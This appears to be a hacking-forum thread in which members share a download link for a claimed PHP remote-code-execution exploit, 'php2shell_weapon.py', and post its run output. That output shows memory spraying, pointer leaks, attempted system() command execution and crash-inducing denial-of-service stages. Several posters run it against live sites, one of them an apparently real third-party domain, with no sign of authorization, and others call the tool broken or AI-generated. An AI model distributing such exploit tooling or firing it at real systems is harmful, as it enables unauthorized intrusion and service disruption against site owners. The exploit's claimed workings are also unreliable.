[rspower]

https://jackalsyn.com/posts/php-up-2026.html

with the missing php2shell_weapon.py

DL:
https://anonfilesnew.com/s/vB6g7hBU2hv

[Money-]

Upload the full code here my man. But it seems like github repo have many more POCs, I haven't tried it out yet.

[Sift]

Maybe just include the original dl link lol from creator.
http://jackalsyn.com/posts/phpupAssets/p...l-reup.zip

[rspower]

Maybe just include the original dl link lol from creator.
http://jackalsyn.com/posts/phpupAssets/p...l-reup.zip

In the original download link, php2shell_weapon.py is missing without it, the RCE exploit doesn't work. He intentionally left it out. In mine, I reconstructed it

[bandors]

Did you actually get it to work on anything? I have yet to have it work on anything.

---

🔐 loading encrypted image…

I'm cooking, give me a few bros

[๖ۣۜLadon Kkc]

Does it work ?

[bandors]

python3 php2shell_weapon.py http://10.0.27.162/index.php --profile medium --command 'whoami'
php2shell weapon | profile=medium files=2 namelen=48MB spray=150 leak=auto cmd='whoami' attempts=8
stage flow: ARM -> P1 -> SPRAY/LEAK -> CALL (video: arming -> spraying -> leak -> call)
NOTE: final system() is ASLR/leak-gated; no leak -> MARKER crash receipt.
FPM/CGI/LSAPI = DoS-class (worker kill). Use --rearm on live multi-worker.

[arm ] body=96MB
[arm ] status=413 dt=16.45s OOM=False <- need pre-RINIT OOM to orphan

[p1 ] body=4MB
[p1 ] status=200 dt=3.61s OOM=False

[spray] s[]=150 t[]=149 last_dtor=0x4141414141414141 body=1232KB
[spray] status=200 dt=4.23s
[leak] AUTO zval_ptr_dtor candidate=0x206c753c09090a3e
[leak] zend_call_function=0x206c753c08fd264e (dtor-0xBE3F0)
[leak] cand 0x206c753c09090a3e [body@0x11500]
[leak] cand 0x207669643c090909 [body@0x10748]
[leak] cand 0x207669643c09090a [body@0x12618]
[leak] cand 0x207669643c090a09 [body@0x111c0]
[leak] cand 0x207669643c0a090a [body@0x104c0]
[leak] cand 0x2d61746164090909 [body@0xfcd0]
[call] dtor=0x206c753c09090a3e zend_call_function=0x206c753c08fd264e (dtor-0xBE3F0) t[]=149 cmd='whoami'

[call] attempt 1/8 s[]=150 t[]=149 body=1271KB
[call] status=200 dt=8.59s

[call] attempt 2/8 s[]=150 t[]=149 body=1271KB
[call] status=200 dt=4.48s

[call] attempt 3/8 s[]=150 t[]=149 body=1271KB
[call] status=200 dt=4.20s

[call] attempt 4/8 s[]=150 t[]=149 body=1271KB
[call] status=200 dt=4.22s

[call] attempt 5/8 s[]=150 t[]=149 body=1271KB
[call] status=200 dt=4.45s

[call] attempt 6/8 s[]=150 t[]=149 body=1271KB
[call] status=200 dt=4.20s

[call] attempt 7/8 s[]=150 t[]=149 body=1271KB
[call] status=200 dt=4.21s

[call] attempt 8/8 s[]=150 t[]=149 body=1271KB
[call] status=200 dt=4.20s

having the swarm investigate it

[rspower]

A (12MB): 253870B in 2.1s
B: 65536B in 0.8s
first line: b'HTTP/1.1 200 OK'
tail: b'itle title_font">\n <a href="https://www.xxxxxx.com/en/309-mo'
PHPSESSID cookie: r9gejj1re5coo4efimfl96nobr (len=26)

[bandors]

GG sift for showing me first working poc

[banc1234]

root@support:~# python3 php2shell_weapon.py https://sportruse.si
php2shell weapon | profile=high files=1 namelen=160MB spray=150 leak=auto cmd='id' attempts=8
stage flow: ARM -> P1 -> SPRAY/LEAK -> CALL (video: arming -> spraying -> leak -> call)
NOTE: final system() is ASLR/leak-gated; no leak -> MARKER crash receipt.
FPM/CGI/LSAPI = DoS-class (worker kill). Use --rearm on live multi-worker.

[arm ] body=160MB
[arm ] status=200 dt=14.23s OOM=False <- need pre-RINIT OOM to orphan

[p1 ] body=4MB
[p1 ] status=200 dt=0.32s OOM=False

[spray] s[]=150 t[]=149 last_dtor=0x4141414141414141 body=1232KB
[spray] status=200 dt=1.56s
[leak] no reflected banner pointer -> MARKER (ungated crash demo)
[call] no leak -> dtor=MARKER (ungated crash/marker receipt)
[call] dtor=0x4141414141414141 zend_call_function=0x4141414141355d51 (dtor-0xBE3F0) t[]=149 cmd='id'
Traceback (most recent call last):
File "/root/php2shell_weapon.py", line 284, in <module>
main()
File "/root/php2shell_weapon.py", line 264, in main
body = P.fire_body(fire_sid, bnd, spray, ctx, n_small=T_COUNT, t_small=small)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
TypeError: fire_body() got an unexpected keyword argument 't_small'
root@support:~#

[Sift]

It won’t work for rce it will work for memory corruption it’s attempting to grab the memory offset from the html body it’s why it won’t work for rce chain at all.

[rspower]

🔐 loading encrypted image…

local works testing live targets now

[vorcoder]

this days, it makes sense to me if its rce, nothing less

[SIM-4100934]

That is some ai hallucinated shit und not a working exploit

[๖ۣۜLadon Kkc]

Nobody got a working one ?